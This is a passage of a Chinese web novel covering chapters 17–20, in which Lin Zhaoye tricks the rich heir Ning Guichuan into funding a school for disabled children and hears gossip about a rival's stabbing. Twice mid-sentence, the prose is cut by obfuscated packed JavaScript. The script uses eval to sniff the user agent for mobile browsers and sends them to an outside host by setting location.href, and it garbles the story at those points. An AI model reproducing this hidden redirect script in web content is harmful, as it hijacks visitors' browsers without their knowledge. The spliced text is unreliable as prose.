“抓了，但又放了。”林照夜低声说道，“社区上门好几次，他们还有个五岁大的儿子，也没有其他亲戚朋友愿意接手这个烂摊子，最后只好出具谅解书，又把那个可怜的小姑娘送到这里来。” 宁归川嘴巴张了半天，一句话也没说出来。 听了这等惨剧，他一时间都想不起来追何霜降的事了。 不过林照夜却还没忘。 他把那个装玩具的包裹往宁归川怀里一放，然后说道：“听说何学长经常到这里来做义工，不管外人怎么说，他一定都是个很善良的人，所以，你应该知道要怎么做了吧？” 宁归川傻愣愣地问：“怎么做？” “……”林照夜忍了又忍，还是没忍住，抽出包裹里一个长腿玩偶对着宁归川的脑袋拍了一下。 “当然是献爱心啊！” 林照夜满脸震惊，仿佛不理解天下怎么会有他这样的榆木脑袋：“你是不是在哪儿磕到脑子了？” “我才不傻！”宁归川一把抢过他手里的玩具，为自己辩解道，“我刚刚只是在想别的事，一时没反应过来而已。我知道你的意思，就是给他们送礼物送温暖嘛。” 然后何霜降看了说不定一感动，就真的喜欢上他了呢。 林照夜摇了摇头，叹息一声，说：“抬头。” 宁归川下意识抬头望了望，不解：“天上怎么了？” 林照夜指了指远处某栋破败的小楼房：“那里是他们的图书馆，你有没有觉得那里太破了？” 宁归川点头：“确实。” 林照夜又说：“你再低头。” 宁归川看到野草丛生的地面，试探着说：“路太不平整了？” 林照夜一脸“孺子可教”的表情：“你希望他们能生活得更好一点吗？” 宁归川点点头，自己都抢答了：“所以，我给他们修一下图书馆，再修一下地？” 林照夜摸摸他的狗头，倒是没接这话茬，只语重心长道：“这种事主打一个心意，宁少要是愿意把这里翻个遍都行，再退一步，经常过来探望一下也算尽一份心意了。” 宁归川皱眉，总觉得他是在看不起自己：“小爷我有的是钱！” “嗯嗯嗯，您最有钱最大方了。”林照夜接道，“我绝不拦着您献爱心展现自己金子般善良高贵的灵魂，不像我现在只能苦哈哈地摆摊赚钱养活自己，至于这些玩具嘛，本来可以做个见面礼什么的……” 宁归川闻言也没多想，十分豪迈地挥手：“行了，你这些玩具多少钱？我全都包了！” 17.17 “过来过来，哥哥送你们一点见面礼。” 宁归川笑得像个怪蜀黍，站在操场边冲那些正在玩游戏的孩子们招手。 这些孩子大多是十岁上下的年纪，从外表来看并没有什么明显的缺陷，抬头看见熟悉的乔老师和霜降哥哥都站在旁边，犹豫了一下便大起胆子，一个拉一个，朝这边走过来。 宁归川从包裹里掏出刚从林照夜那里批发来的玩具。 何霜降和旁边的乔老师脸色同时一僵。 包裹里的玩具五花八门——主要表现在配色上。 诸如七巧板九连环之类的益智玩具看着倒还正常些，剩下的什么万花筒、拼图，以及占据空间最多的玩偶，外表一个比一个辣眼睛。 鲜亮的荧光配色，歪歪扭扭的走线，大小不一的眼珠子…… 说是哪个小学生的手工课作业都有人信。 刚看清楚玩具全貌的宁归川：“……” 林照夜那个王八蛋害他！！！ 难怪刚刚一看何霜降下来就跑得那么快，还美其名曰什么给他们留下二人空间。 宁归川抓着玩具的手微微颤抖。 但东西已经拿出来了，何霜降和乔老师正在旁边看着，尴尬地静默一瞬间之后，都绞尽脑汁地夸奖并感谢宁归川的用心。 毕竟这也是他的一份心意。 宁归川也不好再把东西收回去，只能硬着头皮干笑，愣是装出一副审美自信的表情若无其事地开始分发玩具。 一边找补说来的匆忙准备不充分，下次再准备些更好的，一边已经默默咬牙在心底把林照夜吊起来抽了。 小孩子们犹豫地看了一下旁边的乔老师和何霜降，见他们点头，这才伸手去接宁归川发下来的玩具，露出满脸欢喜，十分珍惜地踹进怀里，又在乔老师的提醒下乖乖说谢谢。 宁归川脸都快笑僵了，心底越发苦涩。 他觉得这群小孩子真是太懂事了，小小年纪就知道人情世故，收到这么丑的玩具都能装出喜欢的样子。 但过了一会儿，他无意间瞥见收下玩具的小孩们的笑脸，又感觉不太对劲。 别说小孩子有没有那么好的演技，如果只是礼貌性的“喜欢”，那也没必要一收到就迫不及待地拿出来摆弄。 小孩三三两两聚在一起，看氛围竟比刚刚在操场上玩的时候还热切几分。 他怎么感觉……这些小孩好像真的挺喜欢这些丑玩具的？ 宁归川用余光观察着他们，却没敢问，只是心不在焉地又从包裹里掏出一个荧光黄的玩偶。 其中几个小孩的眼睛顿时亮了起来。 宁归川动作一顿，不知道按到哪里，就感觉手里玩具突然开始扭动起来，并发出了一阵桀桀桀的怪笑。 “！！！”宁归川惊得手一抖，下意识就把玩偶丢出去。 没等玩偶落地，就同时跑出去三个小孩，争先恐后地去接。 最后是个剃光了头发的小男孩先接到了玩偶，然后死死抱在怀里护着，生怕其他人来抢似的。 “这是我先接到的，瑶瑶最喜欢圣光法师了，我要给她带回去，你们都不许跟我抢！”小男孩大声说道。 荧光黄玩偶在他怀里一边扭动，一边桀桀桀的怪笑配音。 宁归川：“……” 不是，这么丑的玩具也有人抢？ 宁归川不理解。 宁归川大为震撼。 这群小孩子到底什么审美？还是说只是单纯没有见过什么好东西？ 一旁的乔老师在呆滞片刻之后最先反应过来。 她转过头，盯着那几个荧光色的玩偶打量了半晌，露出若有所思的神色：“那些……不会是那个元素魔法师里面的角色吧？” 何霜降也刚从惊讶中回神，闻言不由问：“什么？” “一部动画片。”乔老师轻声解释，“以前不是有好心人捐赠过一箱碟片吗，上周大扫除正巧从仓库里面翻出来，现在的小孩都没见过这些东西，院长看他们好奇，就放给他们看了。” 挑中的正好是一部魔法师冒险的动画片，里面的主人公就是不同的元素拟人。 乔老师又仔仔细细地看了那几个玩偶好几眼，才后知后觉地发现，和动画片里略显抽象的人物形象还真有几分相似之处。 不过主要还是那个桀桀桀的怪笑太别致了，她一听就想起来了。 何霜降从相熟的小朋友那里借来了一个玩偶，仔细看了看，又挨处捏捏摸摸。 果不其然，这个荧光蓝的玩偶里也传来一阵浪潮般的特效音。 旁边几个小孩眼睛都亮起来。 何霜降问他们：“这是谁？” 小朋友们抢答说：“这是沧澜法师！” 何霜降盯着玩偶身上拙劣的针脚若有所思，这些玩具与其说是粗制滥造的伪劣品，倒不如说是手工周边。 成年人一眼就觉得丑，对角色爱屋及乌的小朋友们却未必会这么想。 他把玩偶还回去，神色微动，转过头问旁边的乔老师：“乔默姐，那位……林先生之前来过？” 乔老师点点头，道：“之前是来过几次，也带了礼物来，这些小孩都挺喜欢他的。” 何霜降问：“他有没有提过来做什么？” “我不太清楚，之前都是院长接待他的。”乔老师不自觉地瞄了眼另一边的宁归川，带了点揶揄的语气低声道，“反正肯定不是这样的。” 宁归川手上分发着玩具，嘴里说着安抚示好的套话，但明眼人都看得出来，他眼珠子都快黏到何霜降身上了。 “论迹不论心。”何霜降笑了笑，张口就道，“宁先生也是个很善良的好人。” …… 林照夜带着刚从宁归川那里坑……咳咳，卖玩具得来的支票，去了院长办公室。 院长也姓何，头发花白，面容和蔼，戴着一副老花眼镜，看上去就是个慈祥的小老太太。 但实际上她今年也不过才五十岁。 林照夜之前就来过几次，跟她关系处得还挺好。 不过今天听他说完来意之后，何院长还是差点一口茶水喷出去：“捐楼？修图书馆？富二代？哪里来的——”冤大头。 何院长连忙止住话头，不住咳嗽起来。 “那位宁少爷我挺熟的，虽然嘴巴贱一点花心一点，平时也不怎么能关注到弱势群体，但他人其实还不错，最重要的是有钱，而且做慈善这种事，他可有经验了。” 林照夜这话说的一点都不心虚。 据他所知，宁归川那些前任里面，有好几个都是靠他给的分手费发家的。 最厉害的那个公司都快要上市了。 虽说主要原因在于人家自己能力足够强，但要是没有宁归川那笔“启动资金”，他再厉害也没有资本能抓住风口机会，少说还得再蹉跎几年。 因为这些光辉历史，宁归川还喜得外号“散财童子”。 不过更难得的是，那位前任还挺知恩图报，记得宁少这份“知遇之恩”，给他留了股份，几年分红早就把当初的“本金”给赚回来了。 给这所简陋的学校修个小图书馆、捐个楼什么的，对宁大少爷来说完全就是洒洒水。 这样还能争取到何霜降的好感度，他只会抢着过来撒钱。 不然这个花花公子怎么会被称为“舔狗”呢。 追人的时候付出的那点钱，对他来说已经是最不值一提的付出了。 何院长听得有点怀疑人生——世界上竟然真有这等主动往外撒钱的绝世大善人？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969562|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林照夜把宁归川给的那张十万块的支票放到桌上，落款处签着宁少爷龙飞凤舞的大名。 “还有这个，也顺便添上去吧。” “这……”何院长看看支票，又看看林照夜，露出些迟疑的神色。 “就记宁归川名下吧。”林照夜闷笑了一声，“毕竟也算是他做的慈善。” “那就谢谢你们两位了。”何院长最终还是收下了支票，只是面上仍有几分欲言又止。 “何院长还有什么顾虑，但说无妨。” “也不算什么顾虑，只是……”何院长走到窗边，朝下面看了一眼，“我现在知道了那位宁先生是对霜降有点好感，所以愿意捐款捐物，但……” 何院长又转头看了林照夜一眼：“恕我直言，你是不是也是为了霜降来的？” 她眼底划过一丝担忧。 林照夜来了几次，虽然不像宁归川那样大手笔，但也带了不少东西来，对那些孩子们也很上心。 不求名不为利，仿佛只是单纯的好心。 可世界上真有这样纯粹的好心吗？ 今天他又带来一个对何霜降有好感的宁归川，何院长本就有点担心何霜降身边那些来来往往的男伴，此刻也难免多想几分。 “我确实对何学长的事有点好奇，不过来这里真的只是凑巧而已。”林照夜温声解释。 他随着何院长的视线一同看向窗外。 何院长看的是楼下的何霜降，林照夜看的却是他身边某个失明的孩子。 他望着那双无神的眼睛，心头再一次开始隐隐抽痛。 但他嘴上说的又是另一番话。 “我最近突然遭逢巨变，诸事不顺，遇到不少晦气的事情，但一时间也没办法轻易转变局势，只好寄托于一些人力以外的安慰。” 林照夜垂眸压下那些潮水般翻涌的思绪，微微顿了顿，轻声道：“算是……积德吧。” …… 林照夜下楼的时候听见外面传来宁归川的声音。 透过楼道的窗户往下看了一眼，正巧看见宁归川正被一群小孩围在中间，一副手足无措的模样，何霜降和乔老师站在不远处，抿着唇笑。 一个小男孩和小女孩牵着手站在其中。 小女孩双目无神，似乎是看不见的，但脸上挂着笑，声音也软软的，自我介绍说她叫小满。 然后她又捏了捏旁边小男孩的手，说：“这是弟弟，叫小雪，雪花的雪。” 宁归川忍不住问：“为什么是弟弟叫小雪？” 这明明更像是女孩的名字。 女孩微微歪了下脑袋，似乎是思考了一下，然后说：“因为弟弟是在小雪之后被捡到的。” 一旁的何霜降像是觉察到了什么，忽然抬起头，正巧和楼上的林照夜对上了视线。 林照夜朝他笑了笑，没再听下去，转身离开。 他知道那个女孩叫何小满，天生失明，后来又得了很罕见的病症，自小体弱多病，以后随着年纪渐长器官会逐渐衰竭，只能用一种昂贵的药物吊着命。 但也不过就是再多延长两三年的寿命。 所有医生都断言她活不过二十岁。 于是她的父母以带她出去旅游为借口，在某年春末的时候，坐了几天几夜的车，辗转到一个陌生的城市，将她丢在了福利院的门口。 何霜降也是在那个福利院里长大的。 林照夜猜宁归川肯定不知道这些事，大概也不会主动去查，这位“体验派”花花公子最在意的只有追求的过程本身，他人的过往和前程他都漠不关心。 林照夜也没打算说出去。 他就只是单纯觉得宁归川人傻钱多，送上门来的羊毛不薅白不薅而已。 这傻子回头还得谢谢他呢。 18.18 “林照夜，谢谢你啊。” 宁归川当晚就喜滋滋地打电话来道谢。 林照夜正坐在飘窗上看书，听到电话里熟悉的声音，又把手机拿开对了一下号码——没错，是宁归川的电话。 “霜降终于松口答应跟我吃晚饭了，我觉得距离追到他又进了一大步，多亏你给我出的主意。” 宁归川高兴完，又忍不住开始大吐苦水：“早知道这样我就不苦哈哈地去上课了，你都不知道我为了赶他那个课，天天早上七点不到就要起床，晚上回来还要上网课巩固复习……” 结果刻苦学习了一个多月，都抵不上今天下午这几个小时的相处效果好。 得知宁归川要给那所特殊教育学校翻新宿舍楼和图书馆之后，何霜降的笑容比过去真切多了。 宁归川虽然在心上人面前表现得像是个青涩的毛头小子，但他过往经验丰富，哪能看不出对方是不是真心动容，无非是揣着明白当糊涂，一心享受攻略过程而已。 攻略对象难度太高固然让人兴奋，但进度条一直卡在开头不动弹那也难免叫人心塞。 要不是走了林照夜这边的捷径，他还不知道要继续磨上多久呢。 宁归川虽然嘴巴贱又会扎人心，但从另一种角度来看也算是直率过头，过去跟原主互相伤害多年基本也都是有仇当场报了，也没什么好记仇的。 最多就是互相看不顺眼。 但这次林照夜确实帮了他大忙，宁归川自认恩怨分明，一有进展就迫不及待过来分享好消息了。 林照夜只是淡淡“哦”了一声，手上动作不停地翻过书页：“恭喜恭喜。” 一眼扫完，又翻到下一页。 宁归川继续说道：“我本来还想约他这周末去看电影，但他说实验室有事走不开，你说我要是再给那些小孩翻新一下操场，建个游乐园什么的，他会不会就能抽空跟我出去约会了？” 林照夜继续翻书：“你可以试试看。” “喂，我好心跟你分享我的恋爱史，你能不能不要这么敷衍。”宁归川忍不住抱怨，“你不是我的好朋友吗？不应该帮我出出主意吗？” 林照夜“啪”的一下合上书，又换了手边另一本，一边挑眉：“我们什么时候就变成好朋友了？” 宁归川理直气壮：“不是你今天自己说的吗？就算以前不是，以后再绝交，但现在就是我异父异母的好兄弟了！” 林照夜：“……”还挺灵活变通。 宁归川又抛出新的诱饵：“你不想知道林家的近况吗？你家那两个私生子兄弟……啧啧啧，最近林家的大戏可精彩了，你没亲眼看到真实太可惜了。” 这溢于言表的幸灾乐祸。 林照夜微微抬眉，按着书页的手顿了顿，思索片刻后道：“你可以考虑找一些书。” 宁归川有点没反应过来：“什么？” “那所学校里有很多有视力障碍的小孩，但是图书馆里的盲文书很少，不过对于宁少爷来说，多找些不同类型的书应该也不是难事。”林照夜解释道，“跟何学长关系比较好的小孩很喜欢童话故事。” 宁归川反应过来，顿时一喜：“哎呀还是你鬼主意多！行了，废话不多说了，改明儿我再好好谢谢你。” 说完就匆匆挂了电话，大概是叫人找书去了。 林照夜：“……” 正盯着手机呢，门口就传来开门的声音。 关明熙在门口叫了一声：“林照夜？” “来了，哥。”林照夜连忙放下手机，从飘窗上跳下来，看到进门的关明熙还有点惊讶，“今天下班这么早？” 抬头看一眼时间，其实已经九点多了。 但比平时动辄半夜一两点的时候早多了。 “哥，你是不是还没吃饭？今天顺路买了豆腐皮馅的包子，我去给你热一下。” 林照夜给蒸锅加了热水，又把冷掉的包子放上去。 旁边有微波炉，但叮出来的没有蒸软乎的好吃。 平时回来太晚赶时间只能将就，今天时间还早，倒是没有省这个事了。 林照夜想了想，又倒了一杯牛奶放进微波炉。 关明熙脱了外套进了卧室，过了一会儿只穿了一件衬衫出来，走进厨房。 “再等五分钟……”林照夜听见后面的脚步声，以为他等急了。 结果话还没说完，眼前先递过来一张卡。 林照夜愣了愣，看看卡，又抬头看看走到旁边的关明熙：“哥？” 他一时有点没明白他的意思。 “零花钱。”关明熙将卡塞进他手里，“拿着花。” “之前不是给过吗？”林照夜没接，还仔细回忆了一下自己最近干了什么，让关明熙突然给他塞钱。 最近花的钱是不少，最大的支出项就是城西那家铺子。 但那刷的是原主自己的卡。 关明熙之前在医院就给他塞过一张卡了，林照夜倒是没客气推拒，搬家以及来N市后添置家具和日用品都是刷的那张卡。 林照夜没怎么注意余额，但想来也不至于一下子就刷空了。 “之前是见面礼。”关明熙上下扫了他一眼，没找到口袋，就直接拉过他的手腕，将那张卡放进他的掌心。 他比林照夜高，骨架也稍大些，手伸出来比林照夜大了一圈，轻轻松松就圈住他的手腕，拇指又微微往上，压住了他的掌根。 林照夜挣脱不开。 关明熙视线定格在他手上，动作微顿。 之前倒是没有留意过，林照夜的手生得还挺漂亮。 头顶明亮灯光照着，被另一只有轻微色差的大手包裹着，又有那张墨蓝色的卡片衬在掌心，更显得葱白如玉，宛如一件精致的艺术品。 “……哥？”林照夜又挣扎了一下，“有点疼。” 恰好微波炉里的牛奶热好了，“叮”了一声。 关明熙回过神，微微松开手，紧跟着又握回去，另一只手伸出来把林照夜的四根手指头按向掌心，让他抓好那张卡。 然后若无其事地松开了手。 “拿好。”关明熙面上没有半点窘色，仿佛真的只是一个略显强势但嘴硬心软的大哥，“不够的话再跟我说。” 林照夜看看卡，又抬头看看他，嘴唇微微张了张，半晌才发出声音：“那……好吧，谢谢哥。你、你先吃点东西。” 旁边蒸锅上的包子也热好了。 林照夜直接转身溜出厨房，去把卡放好。 关明熙看着他的背影窜进房间，不自觉地摩挲了一下自己的手指。 意识到自己在遗憾什么的时候，关明熙微微拧了 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——林照夜是跑到哪里去做手工了？ 关明熙没来得及追问，因为林照夜紧跟着又提起今天碰到宁归川的事。 “我记得他家好像不是在这里，也不知道他怎么跑到N市这边来了。”林照夜还有点奇怪。 自从跟过去那些狐朋狗友断绝联系后，清净的同时，圈子里一些消息也就断了。 他还真不知道宁归川什么时候跑来了N市。 下午问起来的时候，宁归川又一脸便秘样，支支吾吾的死活不肯说。 “宁家在N市有分公司。”关明熙解答了他的疑问，“听说宁家儿子在A市惹了点事，就被他父母打发到分公司基层来历练了，知道的人不多。” “难怪他怎么都不肯说，原来是怕丢人。”林照夜恍然大悟。 堂堂大少爷被打发到偏远分公司当基层员工，对于他们那个圈子里的二世祖们可以说是奇耻大辱了。 林照夜好奇：“他惹什么事了？” “听说是桃花债，细节我不清楚。”关明熙瞥了他一眼，“你和他关系很好？” 林照夜一脸恶寒：“我觉得我以前没把他捅了纯粹是因为现在是个法治社会。” “有仇？” “他嘴太贱。” “……” 不太严重的私人恩怨。 关明熙了然，只提醒了一句：“没事离他远点。” 林照夜下意识问：“为什么？” 难道除了嘴贱之外，宁归川还有其他什么不为人知的人品问题？ 关明熙没有立刻回答，盯着林照夜的眼神有那么一点复杂的意味深长，那一瞬间他脑海里或许闪过了很多不太好听的真话。 最后他只说：“我担心你重蹈覆辙。” 怕他的恋爱脑死灰复燃。 谁知道舔狗病毒会不会传染。 只舔一个的时候就够让人心塞的了。 万一再跟宁归川学坏了…… 关明熙觉得自己可能真的会忍不住把便宜弟弟的狗腿打断，再把他关起来不准他再接触外面的坏人。 19.19 林照夜原本也没有打算和宁归川深入发展什么友情。 但架不住这人自说自话。 隔天林照夜去了城西铺子那边，面试助理。 一连看了三个都不合适。 一个是身材娇小的姑娘，一个大学还没毕业，剩下那个是个话痨碎嘴子，完全不知道边界感为何物。 林照夜捧着超大杯大满贯全糖奶茶，被那个话痨絮絮叨叨念了快半个小时奶茶的危害，对于这位潜在老板再三转移话题充耳不闻。 最后林照夜只能叫来保镖，强行将人“请”出去。 人走了，他脑瓜子还嗡嗡的，赶紧吸了口奶茶压了压惊，一边掏出手机加上几个条件—— 性别男。 非在校学生。 听得懂人话，不对老板的私人爱好指手画脚。 想了想又加上一条，二十周岁以上，三十周岁以下，括弧包括心理年龄括弧完。 刚修改完招聘信息，宁归川的电话就打了个进来。 何霜降今天泡在实验室，约不出来，宁归川的书还没找到，百无聊赖之下就决定来找林照夜好好叙旧。 林照夜想到他还没兑现的关于林家的八卦，于是松口报了铺子这边的地址。 半个小时后，宁归川就开车赶了过来。 铺子一楼原本是个烟酒店兼职小超市，老板夫妻前阵子随女儿女婿移民国外养老，就匆忙把铺子以及楼上两层住宅给卖了。 里面的东西基本上都提前处理掉了，只有柜台和货架这些东西都还留着。 楼上最近还在装修，林照夜最近顺手买的杂物就通通堆在了一楼。 那些货架和柜台就在这时候发挥了作用。 宁归川一进门就看到装满杂物的货架，以及躺在柜台后面的躺椅里刷手机的林照夜。 “你还真准备改行去摆摊了啊？”宁归川看着那堆乱七八糟的东西，满脸诧异，然后又逐渐浮现出几分同情，“你现在真的困难到这种地步了？林家也太不是东西了吧。” “怎么，宁少爷准备发一下善心，继续接济我一二吗？” “……”宁归川面露挣扎，竟真的准备点头，“你需要多少？” 林照夜放下手机，从躺椅上起身，看了宁归川好几眼。 宁归川被他看得头皮发麻，声音都有点底气不足：“你这么看我干嘛？” “我才第一次发现宁少爷你这么——”单蠢好骗。 林照夜微微停顿，换了个词，“善良。” 宁归川总觉得他在那沉默的片刻里没憋什么好屁。 但他很明智的没有继续深究。 “宁少喝奶茶吗？”林照夜将柜台上一杯没开封的奶茶往前推了推，“刚巧多点了一杯。” 宁归川用吸管戳开吸了一口，然后皱眉：“怎么这么甜？” “哦，我忘了，那杯好像是加糖的。”林照夜又从柜台下面的小零食柜里掏出来一板黑巧克力，“要吃点苦的中和一下吗？” 宁归川接过来咬了一口，脸色更加扭曲：“这也太苦了。” 翻过来一看包装，百分百黑巧克力。 不苦才怪。 “你这都什么诡异的口味，不会是味觉失灵了吧，不然去医院看看呢？”宁归川忍不住抱怨，最后磕了一把原味瓜子，才把嘴里又齁甜又苦涩的怪味压下去。 对于不熟悉的零食，他是不敢再碰了。 不过磕着瓜子正适合闲聊。 宁归川刚进门还嫌弃这铺面太过简陋，但两把瓜子磕玩，他已经眉飞色舞地说完他和何霜降昨晚的“约会”。 林照夜听得兴致缺缺，直到听到他又提起林家。 “那个林承宇，被人捅了你知道吗？”宁归川神神秘秘地说道。 “死了吗？”林照夜抬眉。 “没有。”宁归川露出遗憾的神色，“就被捅了三刀，保安和救护车都到的太快了。” 林照夜“哦”了一声，才问：“是因为什么？” “具体的我也不是特别清楚，我人也不在A市，都是跟朋友打听来的。” 宁归川嘴上这么说着，实际眉毛扬得都快飞起来，眼角眉梢都是幸灾乐祸的笑意：“听说是因为感情纠纷。” “具体什么情况？”林照夜竖起耳朵打听。 “那小子就是个现代陈世美，原先就是靠吃软饭上位，结果转头就把人家给害了。”宁归川脸上露出唾弃的神色，“你知道林承宇原先是王氏的高管吧？” 林照夜点点头：“听说过。” 他对林家那两个私生子了解不算太多。 在原主视角里，那两个私生子出现得非常突然，叫他措手不及。 关于那对兄弟的情况，原主也是在寿宴上才第一次听见宾客提及，之后颓废的一个多月里，又有不少狐朋狗友名义上说关心，实际上就是为了刺激他，接二连三发来那两个私生子的光鲜履历。 其中现年二十八的林承宇，被众人反复提及到的就是两点—— 一是名校A大毕业。 二便是短短几年就爬上了王氏集团高管的位置。 王氏集团虽然比不上林家家大业大底蕴深厚，但普通人眼中已经算是相当知名的中大型企业了。 林承宇在没有被林父认下之前，作为一个“草根”，能凭借一己之力成为王氏高管，足够证明其能力过人了。 “我原本也以为他有多厉害，实际上就是吃绝户的软饭男。”宁归川满脸鄙夷，“他前妻是前任副总的女儿，他是靠着岳父的关系才在王氏有了一席之地。” “结果眼看着岳父身体不好了，又只有一个独生女，这王八犊子为了自己的前程把岳父和老婆都给卖了。” 岳父被公司里的竞争对手陷害入狱。 林承宇没有直接设局，却是做了其中最紧要的一步推手。 前妻母亲因难产去世，自小和父亲相依为命，感情非比寻常，加上她本就身体不好，得知真相后气到当场吐血，被送进抢救室抢救了一天一夜。 再醒来之后就一直卧病在床，眼看就是数着日子等死了。 前妻憋着最后一口气，提了离婚。 林承宇毫不犹疑，直接拍拍屁股走人。 一转头就借着出卖岳父换来的资源在王氏更进一步。 然后没多久，他又成了林家流落在外的私生子。 虽是私生子，但毕竟搭上了林家，又有林老爷子的重视撑腰，可以说是直接一步登天。 和林承宇有深仇大恨的要么在监狱，要么卧床不起。 剩下那些就算心底唾弃，也不敢跳出来针对讥讽，最多只能保持沉默。 王氏更是巴不得借此攀上林家的关系，自然是把林承宇夸成了惊世奇才，甚至不惜造假为他的能力手腕造势。 前妻一家的冤屈就这么掩埋在了他的光环之下。 “是前妻捅了他？”林照夜说着又觉得不对，“是别的什么人？” 如果是前妻，应该算不上是感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975855|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情纠纷了。 “是他前女友，王总的女儿。”宁归川说道，“那王八羔子和他前妻是同学，大学毕业就结婚了，凭着岳父的关系进了王氏，结果刚进王氏的时候就勾搭上王小姐了。” “王小姐满心以为那王八羔子离婚后就会娶她，谁知道人家心大着，知道有机会回林家之后，压根看不上王家的家世，想办法把人给甩了。” “他用了什么手段？”林照夜听到这里就猜到绝不是什么光彩手段。 “他找人伪装成别家富二代娶勾引王小姐，还、还……还故意害她染了病，让她自己知难而退，不好意思再去找他。” 宁归川这个花花公子脸上都满是厌恶鄙夷，说到这里还忍不住呸了一声：“我就说那狗东西贼眉鼠眼不是什么好东西！” “……”林照夜也不由“嘶”了一声。 这男人的恶毒程度，多少也有点超出他的预料了。 “所以是那位王小姐捅的人？” “王小姐得知真相后气炸了，不知道从哪里搞到了傅家的慈善晚宴的邀请函，当着所有宾客的面把那王八犊子的脸皮都扒下来踩了。” 宁归川说到这里才又扬眉吐气了一番，兴奋地好像在现场旁观了一样：“我朋友给我发了视频，你要不要看？” 他一边掏手机，一边继续说道：“那个王八犊子是一点都不知道傅家的规矩，还想上去堵嘴，结果被傅家保镖拦了，然后就被王小姐逮住机会连捅三刀。” “要我说既然都捅刀了，还不如直接雇个壮汉，她一个姑娘家家力气还是太小了。” 话音未落，视频里就出现了林承宇浑身是血被抬走的画面。 林照夜：“……” 这王小姐但凡体格健壮点，得直接把人送进火葬场了吧。 是有点可惜了。 “这是什么时候的事？”林照夜瞄了眼视频发来的时间，好像就是昨晚宁归川打电话来的那会儿。 “就昨天晚上的事。”宁归川撇了撇嘴，“听说今天就出院了，皮外伤，就缝了几针，真是便宜他了。” 林照夜微微挑了挑眉。 如果宁归川能收收脸上的幸灾乐祸，这话倒是更可信一点。 这么一出大戏，对于林承宇、乃至林家来说，可不是简单的皮外伤这么简单。 若他只是单纯为了荣华富贵抛弃前任，恐怕很多人还会夸他一句大丈夫成事不拘小节，有野心无可厚非。 但问题是，这人不仅抛弃前任，还要对恩人赶尽杀绝，那就不是简单的“野心”二字可以形容了。 哪怕是商业上的合作破裂，通常也讲究一个好聚好散，所谓做人留一线，日后好相见。 只讲利益，其实从没有永远的仇人。 林承宇这是直接把自己的后路给堵死了，一旦合作破裂就有可能家破人亡，胆子小一点的谁还敢跟他合作？ 如果只是似是而非的传闻都还留有余地，结果偏偏是在傅家的慈善晚宴上，当着那么多人的面被苦主揭穿真面目…… 林照夜忽然问：“那位王小姐是怎么拿到傅家邀请函的？” “这我就不清楚了。”宁归川摇头，“外面的人都传闻说是林承宇的前妻主动找上王小姐合作，也有人说是王小姐知道真相后去找了前妻，还有人说幕后是是贺家。” “不过——” 宁归川停顿了一会儿，有点紧张兮兮地左右看了看，又小声说：“我有小道消息说，这事儿好像跟关家也有点关系。” 20、20 “关家?" 林照夜的语气有那么一点微妙和诧异。 宁归川只听出来诧异。 “你也觉得奇怪对吧,关家和林家又没有什么恩怨，也没听说他们和那个王家有什么关系，怎么会在里面横插一脚呢? “你从哪里听来的小道消息?”林照夜问道。 “咳咳，是我爸妈。”宁归川想了想还是说了实话,“我们家和关家有点合作关系,还算是有点面子情。 宁父宁母有个老同学就姓关,这些年关系维持得不错,对于关家的消息就相对灵通一些。 不然他们也不会放心把儿子发配到N市来了。 N市也算是那位小关总的大本营了。 也正是因为宁归川现在人在N市，所以他父母听说了林承宇这件事之后，立马就打电话给儿子,让他最近离林家的人或事都躲着些。 就算碰上了也不要挑衅，免得一不小心被卷进去触了霉头。 面对父母少有的疾言厉色,宁归川愣是没敢说几个小时前他才堵着林照夜想看他的笑话。 反正现在他和林照夜已经是异父异母的好兄弟了! 就算真跟关家有关,他们针对的明显是A市的私生子，跟身在N市已经被赶出林家的林照夜又有什么关系? 宁归川心虚地摸了摸鼻子,果断略过了这一茬。 我爸妈说，八成是那个私生子在哪儿得罪了小关总,所以才被打击报复了。“宁归川继续小声嘀嘀咕咕，“"其实这事儿如果关家不想人知道,完全可以瞒得死死的,一点风都透不出来。 就像当年小关总刚回关家的时候,有几个跳的特别高,于段层出不穷，一副要一口气把人按死在家门口的架势。 结果悄无声息地就没了动静。 之后过了几年，又有些不安分的开始作妖，小关总那边透了些风声出来，外面的人才陆然惊觉,当初叫墨的最厉害的那些人不知道什么时候都已经消失了。 要么在监狱，要么在墓地。 再不然干脆就是生不见人死不见尸，就这么没了消息。 外界的人甚至想不起来他们是什么时候开始销声匿迹的。 等反应过来的时候，关家就已经只剩小关总一个人的声音了。 自那之后，无论小关总表现得多么温和低调，旁人也再不敢随意忽视他的存在。 这次这么快就透了风声出来，那就是被惹到了，杀鸡做猴给某些人的警告。 宁归川听父母话里的意思，估摸着就是这种情况。 不过八卦归八卦，他其实没怎么放在心上。 总所周知宁家和林家本就是对头，又有和关家这一层关系在，再怎么牵连也波及不到他身上去。 他只在旁边等着看戏就行了。 “你猜是就这一个大的得罪了小关总，还是两个都得罪了?”宁归川指的是林家两个私生子，"小的那个还在上学呢，听说这段时间也没怎么出来见人。 林照夜说:“我猜两个。 宁归川问:“为什么?" “可能他就是看私生子不顺眼呢。”林照夜随口说道，有点心不在焉。 他在想关明熙是什么时候对林家下手的。 从他穿过来开始，关明熙就一直很忙，来了N市之后更是天天加班，最忙的时候连着一个礼拜都没说上话。 难道是在那之前? 也不是没可能。 